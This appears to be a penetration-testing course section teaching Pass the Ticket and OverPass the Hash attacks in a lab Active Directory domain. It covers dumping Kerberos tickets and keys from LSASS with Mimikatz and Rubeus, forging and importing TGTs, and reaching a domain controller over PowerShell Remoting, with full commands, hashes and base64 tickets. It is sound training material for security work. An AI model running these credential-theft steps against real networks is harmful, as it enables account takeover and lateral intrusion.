# Pass the Ticket (PtT) from Windows

Another method for moving laterally in an Active Directory environment is called a [Pass the Ticket (PtT) attack](https://attack.mitre.org/techniques/T1550/003/). In this attack, we use a stolen Kerberos ticket to move laterally instead of an NTLM password hash. We'll cover several ways to perform a PtT attack from Windows and Linux. In this section, we'll focus on Windows attacks, and in the following section, we'll cover attacks from Linux.

## Kerberos Protocol Refresher

The Kerberos authentication system is ticket-based. The central idea behind Kerberos is not to give an account password to every service you use. Instead, Kerberos keeps all tickets on your local system and presents each service only the specific ticket for that service, preventing a ticket from being used for another purpose.

* The TGT - Ticket Granting Ticket is the first ticket obtained on a Kerberos system. The TGT permits the client to obtain additional Kerberos tickets or TGS.
* The TGS - Ticket Granting Service is requested by users who want to use a service. These tickets allow services to verify the user's identity.

When a user requests a TGT, they must authenticate to the domain controller by encrypting the current timestamp with their password hash. Once the domain controller validates the user's identity (because the domain knows the user's password hash, meaning it can decrypt the timestamp), it sends the user a TGT for future requests. Once the user has their ticket, they do not have to prove who they are with their password.

If the user wants to connect to an MSSQL database, it will request a Ticket Granting Service (TGS) to The Key Distribution Center (KDC), presenting its Ticket Granting Ticket (TGT). Then it will give the TGS to the MSSQL database server for authentication.

It's recommended to take a look at the [Kerberos, DNS, LDAP, MSRPC](https://academy.hackthebox.com/module/74/section/701) section in the module [Introduction to Active Directory](https://academy.hackthebox.com/module/details/74) for a high-level overview of how this protocol works.

## Pass the Ticket (PtT) Attack

We need a valid Kerberos ticket to perform a Pass the Ticket (PtT). It can be:

* Service Ticket (TGS - Ticket Granting Service) to allow access to a particular resource.
* Ticket Granting Ticket (TGT), which we use to request service tickets to access any resource the user has privileges.

Before we perform a Pass the Ticket (PtT) attack, let's see some methods to get a ticket using Mimikatz and Rubeus.

## Scenario

Let's imagine we are on a pentest, and we manage to phish a user and gain access to the user's computer. We found a way to obtain administrative privileges on this computer and are working with local administrator rights. Let's explore several ways we can manage to get access tickets on this computer and how we can create new tickets.

## Harvesting Kerberos Tickets from Windows

On Windows, tickets are processed and stored by the LSASS (Local Security Authority Subsystem Service) process. Therefore, to get a ticket from a Windows system, you must communicate with LSASS and request it. As a non-administrative user, you can only get your tickets, but as a local administrator, you can collect everything.

We can harvest all tickets from a system using the Mimikatz module sekurlsa::tickets /export. The result is a list of files with the extension .kirbi, which contain the tickets.

#### Mimikatz - Export Tickets

Pass the Ticket (PtT) from Windows

c:\tools> mimikatz.exe  
  
 .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43  
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)  
 ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( [benjamin@gentilkiwi.com](mailto:benjamin@gentilkiwi.com) )  
 ## \ / ## > <http://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [vincent.letoux@gmail.com](mailto:vincent.letoux@gmail.com) )  
 '#####' > <http://pingcastle.com> / <http://mysmartlogon.com> \*\*\*/  
  
mimikatz # privilege::debug  
Privilege '20' OK  
  
mimikatz # sekurlsa::tickets /export  
  
Authentication Id : 0 ; 329278 (00000000:0005063e)  
Session : Network from 0  
User Name : DC01$  
Domain : HTB  
Logon Server : (null)  
Logon Time : 7/12/2022 9:39:55 AM  
SID : S-1-5-18  
  
 \* Username : DC01$  
 \* Domain : inlanefreight.htb  
 \* Password : (null)  
   
 Group 0 - Ticket Granting Service  
  
 Group 1 - Client Ticket ?  
 [00000000]  
 Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;  
 Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb  
 Target Name (--) : @ inlanefreight.htb  
 Client Name (01) : DC01$ ; @ inlanefreight.htb  
 Flags 40a50000 : name\_canonicalize ; ok\_as\_delegate ; pre\_authent ; renewable ; forwardable ;  
 Session Key : 0x00000012 - aes256\_hmac  
 31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07  
 Ticket : 0x00000012 - aes256\_hmac ; kvno = 5 [...]  
 \* Saved to file [[0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi](mailto:0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi) !  
  
 Group 2 - Ticket Granting Ticket  
  
<SNIP>  
  
mimikatz # exit  
Bye!  
c:\tools> dir \*.kirbi  
  
Directory: c:\tools  
  
Mode LastWriteTime Length Name  
---- ------------- ------ ----  
  
<SNIP>  
  
-a---- 7/12/2022 9:44 AM 1445 [[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi](mailto:0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi)-a---- 7/12/2022 9:44 AM 1565 [[0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi](mailto:0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi)<SNIP>

The tickets that end with $ correspond to the computer account, which needs a ticket to interact with the Active Directory. User tickets have the user's name, followed by an @ that separates the service name and the domain, for example: [[randomvalue]-username@service-domain.local.kirbi](mailto:randomvalue]-username@service-domain.local.kirbi).

**Note:** If you pick a ticket with the service krbtgt, it corresponds to the TGT of that account.

We can also export tickets using Rubeus and the option dump. This option can be used to dump all tickets (if running as a local administrator). Rubeus dump, instead of giving us a file, will print the ticket encoded in base64 format. We are adding the option /nowrap for easier copy-paste.

**Note:** At the time of writing, using Mimikatz version 2.2.0 20220919, if we run "sekurlsa::ekeys" it presents all hashes as des\_cbc\_md4 on some Windows 10 versions. Exported tickets (sekurlsa::tickets /export) do not work correctly due to the wrong encryption. It is possible to use these hashes to generate new tickets or use Rubeus to export tickets in base64 format.

#### Rubeus - Export Tickets

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe dump /nowrap  
  
 \_\_\_\_\_\_ \_  
 (\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
 | \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
 | | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
 |\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
 v1.5.0  
  
  
Action: Dump Kerberos Ticket Data (All Users)  
  
[\*] Current LUID : 0x6c680  
 ServiceName : krbtgt/inlanefreight.htb  
 ServiceRealm : inlanefreight.htb  
 UserName : DC01$  
 UserRealm : inlanefreight.htb  
 StartTime : 7/12/2022 9:39:54 AM  
 EndTime : 7/12/2022 7:39:54 PM  
 RenewTill : 7/19/2022 9:39:54 AM  
 Flags : name\_canonicalize, pre\_authent, renewable, forwarded, forwardable  
 KeyType : aes256\_cts\_hmac\_sha1  
 Base64(key) : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=  
 Base64EncodedTicket :  
  
  
  
 UserName : plaintext  
 Domain : HTB  
 LogonId : 0x6c680  
 UserSID : S-1-5-21-228825152-3134732153-3833540767-1107  
 AuthenticationPackage : Kerberos  
 LogonType : Interactive  
 LogonTime : 7/12/2022 9:42:15 AM  
 LogonServer : DC01  
 LogonServerDNSDomain : inlanefreight.htb  
 UserPrincipalName : [plaintext@inlanefreight.htb](mailto:plaintext@inlanefreight.htb) ServiceName : krbtgt/inlanefreight.htb  
 ServiceRealm : inlanefreight.htb  
 UserName : plaintext  
 UserRealm : inlanefreight.htb  
 StartTime : 7/12/2022 9:42:15 AM  
 EndTime : 7/12/2022 7:42:15 PM  
 RenewTill : 7/19/2022 9:42:15 AM  
 Flags : name\_canonicalize, pre\_authent, initial, renewable, forwardable  
 KeyType : aes256\_cts\_hmac\_sha1  
 Base64(key) : 2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=  
 Base64EncodedTicket :  
  
  
  
<SNIP>

**Note:** To collect all tickets we need to execute Mimikatz or Rubeus as an administrator.

This is a common way to retrieve tickets from a computer. Another advantage of abusing Kerberos tickets is the ability to forge our own tickets. Let's see how we can do this using the OverPass the Hash or Pass the Key technique.

## Pass the Key or OverPass the Hash

The traditional Pass the Hash (PtH) technique involves reusing an NTLM password hash that doesn't touch Kerberos. The Pass the Key or OverPass the Hash approach converts a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a full Ticket-Granting-Ticket (TGT). This technique was developed by Benjamin Delpy and Skip Duckwall in their presentation [Abusing Microsoft Kerberos - Sorry you guys don't get it](https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it/18). Also [Will Schroeder](https://twitter.com/harmj0y) adapted their project to create the [Rubeus](https://github.com/GhostPack/Rubeus) tool.

To forge our tickets, we need to have the user's hash; we can use Mimikatz to dump all users Kerberos encryption keys using the module sekurlsa::ekeys. This module will enumerate all key types present for the Kerberos package.

#### Mimikatz - Extract Kerberos Keys

Pass the Ticket (PtT) from Windows

c:\tools> mimikatz.exe  
  
 .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43  
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)  
 ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( [benjamin@gentilkiwi.com](mailto:benjamin@gentilkiwi.com) )  
 ## \ / ## > <http://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [vincent.letoux@gmail.com](mailto:vincent.letoux@gmail.com) )  
 '#####' > <http://pingcastle.com> / <http://mysmartlogon.com> \*\*\*/  
  
mimikatz # privilege::debug  
Privilege '20' OK  
  
mimikatz # sekurlsa::ekeys  
<SNIP>  
  
Authentication Id : 0 ; 444066 (00000000:0006c6a2)  
Session : Interactive from 1  
User Name : plaintext  
Domain : HTB  
Logon Server : DC01  
Logon Time : 7/12/2022 9:42:15 AM  
SID : S-1-5-21-228825152-3134732153-3833540767-1107  
  
 \* Username : plaintext  
 \* Domain : inlanefreight.htb  
 \* Password : (null)  
 \* Key List :  
 aes256\_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60  
 rc4\_hmac\_nt 3f74aa8f08f712f09cd5177b5c1ce50f  
 rc4\_hmac\_old 3f74aa8f08f712f09cd5177b5c1ce50f  
 rc4\_md4 3f74aa8f08f712f09cd5177b5c1ce50f  
 rc4\_hmac\_nt\_exp 3f74aa8f08f712f09cd5177b5c1ce50f  
 rc4\_hmac\_old\_exp 3f74aa8f08f712f09cd5177b5c1ce50f  
<SNIP>

Now that we have access to the AES256\_HMAC and RC4\_HMAC keys, we can perform the OverPass the Hash or Pass the Key attack using Mimikatz and Rubeus.

#### Mimikatz - Pass the Key or OverPass the Hash

Pass the Ticket (PtT) from Windows

c:\tools> mimikatz.exe  
  
 .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43  
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)  
 ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( [benjamin@gentilkiwi.com](mailto:benjamin@gentilkiwi.com) )  
 ## \ / ## > <http://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [vincent.letoux@gmail.com](mailto:vincent.letoux@gmail.com) )  
 '#####' > <http://pingcastle.com> / <http://mysmartlogon.com> \*\*\*/  
  
mimikatz # privilege::debug  
Privilege '20' OK  
  
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f  
  
user : plaintext  
domain : inlanefreight.htb  
program : cmd.exe  
impers. : no  
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f  
 | PID 1128  
 | TID 3268  
 | LSA Process is now R/W  
 | LUID 0 ; 3414364 (00000000:0034195c)  
 \\_ msv1\_0 - data copy @ 000001C7DBC0B630 : OK !  
 \\_ kerberos - data copy @ 000001C7E20EE578  
 \\_ aes256\_hmac -> null  
 \\_ aes128\_hmac -> null  
 \\_ rc4\_hmac\_nt OK  
 \\_ rc4\_hmac\_old OK  
 \\_ rc4\_md4 OK  
 \\_ rc4\_hmac\_nt\_exp OK  
 \\_ rc4\_hmac\_old\_exp OK  
 \\_ \*Password replace @ 000001C7E2136BC8 (32) -> null

This will create a new cmd.exe window that we can use to request access to any service we want in the context of the target user.

To forge a ticket using Rubeus, we can use the module asktgt with the username, domain, and hash which can be /rc4, /aes128, /aes256, or /des. In the following example, we use the aes256 hash from the information we collect using Mimikatz sekurlsa::ekeys.

#### Rubeus - Pass the Key or OverPass the Hash

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap  
  
 \_\_\_\_\_\_ \_  
 (\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
 | \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
 | | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
 |\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
 v1.5.0  
  
[\*] Action: Ask TGT  
  
[\*] Using rc4\_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f  
[\*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'  
[+] TGT request successful!  
[\*] base64(ticket.kirbi):  
  
  
  
 ServiceName : krbtgt/inlanefreight.htb  
 ServiceRealm : inlanefreight.htb  
 UserName : plaintext  
 UserRealm : inlanefreight.htb  
 StartTime : 7/12/2022 11:28:26 AM  
 EndTime : 7/12/2022 9:28:26 PM  
 RenewTill : 7/19/2022 11:28:26 AM  
 Flags : name\_canonicalize, pre\_authent, initial, renewable, forwardable  
 KeyType : rc4\_hmac  
 Base64(key) : 0TOKzUHdgBQKMk8+xmOV2w==

**Note:** Mimikatz requires administrative rights to perform the Pass the Key/OverPass the Hash attacks, while Rubeus doesn't.

To learn more about the difference between Mimikatz sekurlsa::pth and Rubeus asktgt, consult the Rubeus tool documentation [Example for OverPass the Hash](https://github.com/GhostPack/Rubeus#example-over-pass-the-hash).

**Note:** Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges. If we use a rc4\_hmac (NTLM) hash in a Kerberos exchange instead of an aes256\_cts\_hmac\_sha1 (or aes128) key, it may be detected as an "encryption downgrade."

## Pass the Ticket (PtT)

Now that we have some Kerberos tickets, we can use them to move laterally within an environment.

With Rubeus we performed an OverPass the Hash attack and retrieved the ticket in base64 format. Instead, we could use the flag /ptt to submit the ticket (TGT or TGS) to the current logon session.

#### Rubeus Pass the Ticket

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt  
 \_\_\_\_\_\_ \_  
 (\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
 | \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
 | | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
 |\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
 v1.5.0  
  
[\*] Action: Ask TGT  
  
[\*] Using rc4\_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f  
[\*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'  
[+] TGT request successful!  
[\*] base64(ticket.kirbi):  
  
 doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh  
 EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb  
 f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn  
 pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2  
 9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan  
 JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX  
 5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg  
 5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp  
 lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P  
 fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X  
 c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K  
 Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4  
 Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4  
 PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU  
 wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A  
 GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag  
 GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ  
 8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX  
 oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA  
 QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3  
 WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t  
[+] Ticket successfully imported!  
  
 ServiceName : krbtgt/inlanefreight.htb  
 ServiceRealm : inlanefreight.htb  
 UserName : plaintext  
 UserRealm : inlanefreight.htb  
 StartTime : 7/12/2022 12:27:47 PM  
 EndTime : 7/12/2022 10:27:47 PM  
 RenewTill : 7/19/2022 12:27:47 PM  
 Flags : name\_canonicalize, pre\_authent, initial, renewable, forwardable  
 KeyType : rc4\_hmac  
 Base64(key) : PRG0wMmc4OznDz1YIAjdsA==

Note that now it displays Ticket successfully imported!.

Another way is to import the ticket into the current session using the .kirbi file from the disk.

Let's use a ticket exported from Mimikatz and import it using Pass the Ticket.

#### Rubeus - Pass the Ticket

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe ptt [/ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi](mailto:/ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi) \_\_\_\_\_\_ \_  
(\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
| \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
| | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
|\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
v1.5.0  
  
  
[\*] Action: Import Ticket  
[+] ticket successfully imported!  
  
c:\tools> dir <\\DC01.inlanefreight.htb\c$>Directory: <\\dc01.inlanefreight.htb\c$>Mode LastWriteTime Length Name  
---- ------------- ------ ----  
d-r--- 6/4/2022 11:17 AM Program Files  
d----- 6/4/2022 11:17 AM Program Files (x86)  
  
<SNIP>

We can also use the base64 output from Rubeus or convert a .kirbi to base64 to perform the Pass the Ticket attack. We can use PowerShell to convert a .kirbi to base64.

#### Convert .kirbi to Base64 Format

Pass the Ticket (PtT) from Windows

PS c:\tools> [[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi](mailto:Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi)"))  
  
doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>

Using Rubeus, we can perform a Pass the Ticket providing the base64 string instead of the file name.

#### Pass the Ticket - Base64 Format

Pass the Ticket (PtT) from Windows

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>  
 \_\_\_\_\_\_ \_  
(\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
| \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
| | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
|\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
v1.5.0  
  
  
[\*] Action: Import Ticket  
[+] ticket successfully imported!  
  
c:\tools> dir <\\DC01.inlanefreight.htb\c$>Directory: <\\dc01.inlanefreight.htb\c$>Mode LastWriteTime Length Name  
---- ------------- ------ ----  
d-r--- 6/4/2022 11:17 AM Program Files  
d----- 6/4/2022 11:17 AM Program Files (x86)  
  
<SNIP>

Finally, we can also perform the Pass the Ticket attack using the Mimikatz module kerberos::ptt and the .kirbi file that contains the ticket we want to import.

#### Mimikatz - Pass the Ticket

Pass the Ticket (PtT) from Windows

C:\tools> mimikatz.exe   
  
 .#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43  
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)  
 ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( [benjamin@gentilkiwi.com](mailto:benjamin@gentilkiwi.com) )  
 ## \ / ## > <http://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [vincent.letoux@gmail.com](mailto:vincent.letoux@gmail.com) )  
 '#####' > <http://pingcastle.com> / <http://mysmartlogon.com> \*\*\*/  
  
mimikatz # privilege::debug  
Privilege '20' OK  
  
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"  
  
\* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK  
mimikatz # exit  
Bye!  
c:\tools> dir <\\DC01.inlanefreight.htb\c$>Directory: <\\dc01.inlanefreight.htb\c$>Mode LastWriteTime Length Name  
---- ------------- ------ ----  
d-r--- 6/4/2022 11:17 AM Program Files  
d----- 6/4/2022 11:17 AM Program Files (x86)  
  
<SNIP>

**Note:** Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command.

## Pass The Ticket with PowerShell Remoting (Windows)

[PowerShell Remoting](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.2) allows us to run scripts or commands on a remote computer. Administrators often use PowerShell Remoting to manage remote computers on the network. Enabling PowerShell Remoting creates both HTTP and HTTPS listeners. The listener runs on standard port TCP/5985 for HTTP and TCP/5986 for HTTPS.

To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.

Suppose we find a user account that doesn't have administrative privileges on a remote computer but is a member of the Remote Management Users group. In that case, we can use PowerShell Remoting to connect to that computer and execute commands.

## Mimikatz - PowerShell Remoting with Pass the Ticket

To use PowerShell Remoting with Pass the Ticket, we can use Mimikatz to import our ticket and then open a PowerShell console and connect to the target machine. Let's open a new cmd.exe and execute mimikatz.exe, then import the ticket we collected using kerberos::ptt. Once the ticket is imported into our cmd.exe session, we can launch a PowerShell command prompt from the same cmd.exe and use the command Enter-PSSession to connect to the target machine.

#### Mimikatz - Pass the Ticket for Lateral Movement.

Pass the Ticket (PtT) from Windows

C:\tools> mimikatz.exe  
  
 .#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53  
 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)  
 ## / \ ## /\*\*\* Benjamin DELPY `gentilkiwi` ( [benjamin@gentilkiwi.com](mailto:benjamin@gentilkiwi.com) )  
 ## \ / ## > <https://blog.gentilkiwi.com/mimikatz> '## v ##' Vincent LE TOUX ( [vincent.letoux@gmail.com](mailto:vincent.letoux@gmail.com) )  
 '#####' > <https://pingcastle.com> / <https://mysmartlogon.com> \*\*\*/  
  
mimikatz # privilege::debug  
Privilege '20' OK  
  
mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"  
  
\* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi': OK  
  
mimikatz # exit  
Bye!  
  
c:\tools>powershell  
Windows PowerShell  
Copyright (C) 2015 Microsoft Corporation. All rights reserved.  
  
PS C:\tools> Enter-PSSession -ComputerName DC01  
[DC01]: PS C:\Users\john\Documents> whoami  
inlanefreight\john  
[DC01]: PS C:\Users\john\Documents> hostname  
DC01  
[DC01]: PS C:\Users\john\Documents>

## Rubeus - PowerShell Remoting with Pass the Ticket

Rubeus has the option createnetonly, which creates a sacrificial process/logon session ([Logon type 9](https://eventlogxp.com/blog/logon-type-what-does-it-mean/)). The process is hidden by default, but we can specify the flag /show to display the process, and the result is the equivalent of runas /netonly. This prevents the erasure of existing TGTs for the current logon session.

#### Create a Sacrificial Process with Rubeus

Pass the Ticket (PtT) from Windows

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show  
 \_\_\_\_\_\_ \_  
 (\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
 | \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
 | | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
 |\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
 v2.0.3  
  
  
[\*] Action: Create process (/netonly)  
  
  
[\*] Using random username and password.  
  
[\*] Showing process : True  
[\*] Username : JMI8CL7C  
[\*] Domain : DTCDV6VL  
[\*] Password : MRWI6XGI  
[+] Process : 'cmd.exe' successfully created with LOGON\_TYPE = 9  
[+] ProcessID : 1556  
[+] LUID : 0xe07648

The above command will open a new cmd window. From that window, we can execute Rubeus to request a new TGT with the option /ptt to import the ticket into our current session and connect to the DC using PowerShell Remoting.

#### Rubeus - Pass the Ticket for Lateral Movement

Pass the Ticket (PtT) from Windows

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt  
 \_\_\_\_\_\_ \_  
 (\_\_\_\_\_ \ | |  
 \_\_\_\_\_) )\_ \_| |\_\_ \_\_\_\_\_ \_ \_ \_\_\_  
 | \_\_ /| | | | \_ \| \_\_\_ | | | |/\_\_\_)  
 | | \ \| |\_| | |\_) ) \_\_\_\_| |\_| |\_\_\_ |  
 |\_| |\_|\_\_\_\_/|\_\_\_\_/|\_\_\_\_\_)\_\_\_\_/(\_\_\_/  
  
 v2.0.3  
  
[\*] Action: Ask TGT  
  
